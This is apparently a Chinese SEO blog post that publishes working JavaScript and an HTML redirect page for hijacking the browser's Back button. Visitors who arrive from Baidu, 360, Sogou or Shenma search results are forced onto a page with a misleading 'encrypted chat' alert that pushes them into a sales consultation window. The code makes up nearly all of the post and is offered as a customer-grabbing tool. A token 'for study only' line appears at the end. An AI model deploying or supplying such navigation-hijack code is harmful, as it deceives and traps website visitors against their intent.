百度霸屏推广之返回直接劫持跳转商务通的强制页代码研究【抢客户

时间: 作者: 点击量:
百度霸屏推广之返回直接劫持跳转商务通的强制页代码研究【抢客户软件


百度霸屏推广两个文件,一个是js,一个跳转的html ,百度搜索进去网站,后退直接百度劫持跳转商务通。
js 代码如下:
 
var bdpar = window.location.href;
var bdpar1=window.location.href;
var refer = document.referrer;
var bd = refer.indexOf("baidu.com");
var hs = refer.indexOf("haosou.com");
var hs1 = refer.indexOf("so.com");
var hs2 = refer.indexOf("360.cn");
var sm = refer.indexOf("sm.cn");
var sg = refer.indexOf("sogou.com");
var wt = bdpar.indexOf("waitui");
var yh = bdpar.indexOf("youhua");
var bai = bdpar.indexOf("#baidu");
var hao = bdpar.indexOf("#360");
var shen = bdpar.indexOf("#sm");
var so = bdpar.indexOf("#so");
refer = refer.replace("?q=", "?word=");
refer = refer.replace("keyword=", "word=");
bdpar = bdpar.replace("?baidu", "#baidu");
if (refer.indexOf("word") != -1) {
refer = refer.substring(refer.indexOf("word"), 10000)
} else {
refer = "word=品牌名"
}
var hash = location.hash;
if (bd != -1 || hs != -1 || sm != -1 || sg != -1 || wt != -1 || yh != -1 || bai != -1 || hao != -1 || shen != -1 || so != -1 || hs1 != -1 || hs2 != -1) {
if (location.hash.indexOf("_bdtz") == -1) {
history.pushState({
page: 1
}, "bd", hash+"#_bdtz_")
}
window.onpopstate = function(a) {
if (location.hash.indexOf("_bdtz_") == -1) {
window.location.href = "/swt/tz/tzswt.html#"+bdpar1;
}
}
}

 

 
tzswt.html 内容
 
 
alert("【最新消息】\n\n xx在线邀请您在线咨询,有什么问题需要咨询请讲!\n\n(对话已加密,请放心咨询)");
 
请稍候,正在为你转入...。。


百度霸屏推广方法之一,仅供学习参考。请勿用于商业用途。

上一篇:百度Site App的uaredirect.js实现手机访问,自动跳转网站手机版

下一篇:百度霸屏推广之手机百度移动端搜索劫持原理分析,百度搜索劫持跳

注册体验: